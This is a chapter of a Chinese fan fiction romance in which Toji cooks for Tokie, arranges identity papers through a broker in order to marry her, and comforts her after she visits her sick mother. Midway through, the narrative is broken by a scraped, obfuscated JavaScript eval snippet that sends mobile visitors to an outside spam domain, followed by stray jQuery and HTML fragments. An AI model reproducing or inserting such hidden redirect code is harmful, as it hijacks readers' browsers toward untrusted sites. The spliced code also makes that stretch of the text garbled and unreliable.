4. 相遇第四天

作品:《和天与暴君结婚后

    时枝回到家就开始整理自己的工作进度。


    卧室的书桌地面被她摆得一团糟。


    她整理到一半,甚尔来敲她的门,时枝应了一声。


    甚尔打开门,却没走进来,蹲下来看她铺了一地的文件,问:“你这是做什么。”


    时枝用手擦额头上的薄汗,“我打算把才开始没多久的项目给同事去做,腾出来时间去医院陪护。”


    接下来她要以照顾母亲为主,注定没办法在工作上投注太多的精力,也代表她退出主管的竞争。


    ......其实她也没有什么上进心,就是单纯被气到了,觉得应该是自己的东西凭什么因为一个荒谬的理由抢走。


    有可能也是时也命也,晋升机会和陪伴母亲最后时光,她选择后者。


    甚尔微微挑眉。


    “你不是要找个家庭煮夫全力冲刺事业?”


    时枝手上的动作一顿,苦笑地说:“开玩笑的......”


    “而且医生说,母亲可能也就是下个月的事了,这个时候我不在她身边还有谁能陪伴她。”


    甚尔觉得自己应该是无所谓的,但是他的手指不自觉指了一下自己。


    “......你?”时枝问。


    “我正好没事干。”


    “你又不是她女儿。”时枝无语地瞪了他一眼。


    “但我去很合理,”甚尔回答,“你不应该放弃晋升。”


    时枝不知道他说这句话的动机是什么,但能感觉到他的善意,她叹气,“其实我也有感觉,如果我放弃了这次机会,以后很难再升职了。”


    甚尔只是说:“先吃饭。”


    时枝立即就把这些事抛到脑后,她后天才上班,到时候说不定就有结论了。


    她跟着甚尔蹦蹦跳跳地走出房间。


    一进到客厅里饭菜的香味就扑过来了。


    午餐要比早餐丰盛,时枝十分感动,拿她冰箱里的那些食材居然能做出来这么好吃的饭菜,她以前简直是糟蹋食材。


    甚尔不动声色,把食谱书塞到不明显的地方。


    “我开动了!”


    时枝双手合十,拿起筷子。


    她吃饭的时候也在偷偷观察甚尔。


    甚尔的身材什么的先不谈,如果她以后还想吃到这么美味的饭菜,甚尔的心情至关重要。


    因此她几乎在每一口感觉好吃的时候,都会夸赞出来。


    直到甚尔让她闭嘴好好吃饭。


    时枝不是没看到食谱,可是她每次按照食谱做也做不出来什么好吃的,而且还不如她自己随便蒸米饭团饭团带走。


    由此她觉得,就算是对着食谱能复刻出来美味,也是一件不容易的事。


    毕竟在工作中,可是遇到了很多不看合同,也看不懂各种条款的甲方。


    时枝吃饱了躺在沙发上,看见甚尔忙忙碌碌收拾,也连忙走到厨房去,“我来洗碗吧~”


    甚尔还是围着她的小碎花围裙,似乎尺寸还有些小。


    “不用,你拿着这个去医院。”


    他把一个便当袋塞进了时枝的手里。


    “......谢谢你。”


    她妈妈在医院里如果能吃到家人送去的食物,应该也会欣慰吧。


    时枝倒是有些不自在了,她是可以用这是八面玲珑的牛郎的职业素养来说服自己,可是到底这份体贴太周到。


    “你今天已经帮了我很多忙了——”


    “啪!”


    甚尔一个手滑,沾了洗洁精的碗掉在了洗碗池边上。


    ......他确实没怎么洗过碗。至于为什么会做饭,是因为有时候他实在没吃的时候,只能偷溜进禅院家厨房,或者自己进山搞一点。


    “还好没有掉在地面上摔碎。”


    时枝十分庆幸地说。


    “嗯。”甚尔捡起那个碗检查,只是边缘被磕掉了一点碎末。


    “下次小心一点就好了,”时枝毫不在意,“咳咳,下次还是我来好了,不然我还怪不好意思的,你都已经做饭了。”


    她精神抖擞地把甚尔挤开,手脚麻利地把剩下的碗碟洗干净。


    甚尔默默去擦桌子了。


    也没有花多少时间,大概十分钟以后,时枝就拿着便当出门了。


    时枝临走前对甚尔说:“如果你要出门钥匙在衣架上,我的卧室你不能进我回来还要继续收拾,拜拜~”


    甚尔有点僵硬地学着她的摆了摆手。


    时枝关上门,嗒嗒的脚步声走远,房间突兀的寂静了。


    这只是一个小小的单身公寓,从门口简陋的玄关,到摆放了沙发餐桌小茶几的客厅,以及和客厅连通的厨房,稍微好一点的是床可以放在单独的卧室里而不是和客厅在一起,这已经是年轻人相当不错的住宿条件了。


    甚尔坐在沙发上,手臂几乎能把这个沙发长度搭满。


    或许都是虚妄的。


    但是在荒芜的人生里,看到了一点与众不同的光彩,他是如此想要把它攥进手心里。


    他静静地沉思着,掏出手机,拨通了孔时雨的电话。


    “喂。”


    “不是接活。”


    “我要一套身份证件,名字随便。”


    “啧,那还是禅院甚尔。”


    “干什么?我想结婚了。”


    【哈??】


    孔时雨快被他整崩溃了。


    甚尔在他爆发前挂断了电话,他以前的干的活又不是没有给他分成。


    如果不是他已经对时枝的母亲说出来自己叫什么,他原本是想让孔时雨随便给他起个姓的。


    等他入赘佐藤家,那个短暂的出现在他身份证件上的“禅院”,就能干干净净彻彻底底的从他的生命里消失了。


    过了一会儿,他的手机响了,是孔时雨打来的。


    甚尔想了想,还是接了,毕竟可能和刚才办//证有关。


    但孔时雨严肃压低的声音的电话那边传来,说出了令人出乎意料的内容。


    【你和我说实话,你离开禅院家的时候是不是搞了什么事。】


    “怎么了。”


    甚尔问。


    电话那边传来的匆忙走路的声音,孔时雨说:【有两个姓禅院的人在找你。】


    甚尔的沉默令人不安。


    【喂?】


    “他们在哪,我去找他们。”


    听见电话里的甚尔这么说,躲在建筑物后面的孔时雨偷偷探出头,看那两个禅院家咒术师的动向。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735366|174072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    虽然甚尔给他找麻烦,但几个月来,他给他带来的利益是在太多了。


    野生咒术师的黑市里,除了有普通人客户家里“闹鬼”想找人看事,更多的是雇佣杀人、雇佣杀咒术师、咒具咒物倒卖。甚尔的体质特殊,老天让他毫无咒力(要知道就算普通人身体里也是有少量咒力的),他肉//体的强度被加强到了极致,孔时雨估量他最少也有一级咒术师的水平,可以碾压绝大部分咒术师了,但是——


    “你不会是想要动手杀了他们吧,老兄,你到底还想不想活着了。”


    孔时雨觉得实力强大的禅院甚尔好歹姓禅院,说不定会被高高拿起轻轻放下,万一他被牵扯出来,他这个小虾米能不能活那就看他祖上有没有积福了。


    甚尔说:“我只是想和他们打个他们最熟悉的招呼。”


    孔时雨一听就知道这个招呼一定很血腥,“你不是说你要结婚了,你是能跑我也有门路,你女人怎么办。”


    电话那边的甚尔不说话了。


    孔时雨内心复杂,知道他肯定不会行动了。


    他没想到这个借口这么好用,以前可以称得上是无法无天肆意妄为的甚尔都会改变想法,果然爱情和婚姻都是坟墓。


    但对于甚尔来说未必是坏事。


    孔时雨好奇地问:“以前都没听你说起过,最近才认识的?你们打算什么时候结婚?”


    “是认识不久。”


    沙发上的甚尔变了一个姿势。


    甚尔谨慎评估目前他们之间的进度,“但是她还没有把我当可结婚的对象。”


    孔时雨的震惊和嫌弃溢于言表,“你当务之急不是催我给你办身份,而是把人追到手。”


    甚尔直截了当,“所以追人要怎么追?”


    “你问我不是更离谱吗?!!”


    孔时雨再次抓狂,“好吧我想想。”


    ......


    时枝在一个半小时后回了家。


    一个半小时的时间看起来很长了,但是对于探望妈妈来说其实有点短,主要是她和妈妈说了自己以后会来陪她后,直接被提着耳朵教训了整整一个小时。


    整整一个小时......


    现在时枝的脑子里都是嗡嗡嗡的“绝对不能放弃晋升,听见没有!”


    这句话的回音。


    妈妈对她的记性很不放心,几乎是洗脑式的和她重复。可是时枝真的觉得没什么大不了,重要的事她自然记得,不记得的都是不重要的事。


    她表情呆滞地进了家门,看到了站在客厅中间的甚尔。


    甚尔看到她的表情,问了一句:“怎么了?”


    “妈妈.......不想让我陪她。”


    时枝很受伤。


    说来说去,不就是想要说服她把母亲放在一边,现在都是什么时候了。


    时枝低着头,眼泪蓄积,她感觉到甚尔走到了她的面前。现在的甚尔当然是没有穿围裙的,他穿着他的旧衣服。


    她身体被甚尔抱进怀里。


    时枝有点懵,头被按在甚尔宽阔的胸膛,柔软有弹性的肌肉隔着薄薄的衣料贴着她的脸颊。


    “她很希望自己不耽误你的生活。”


    甚尔拍了拍她的后背。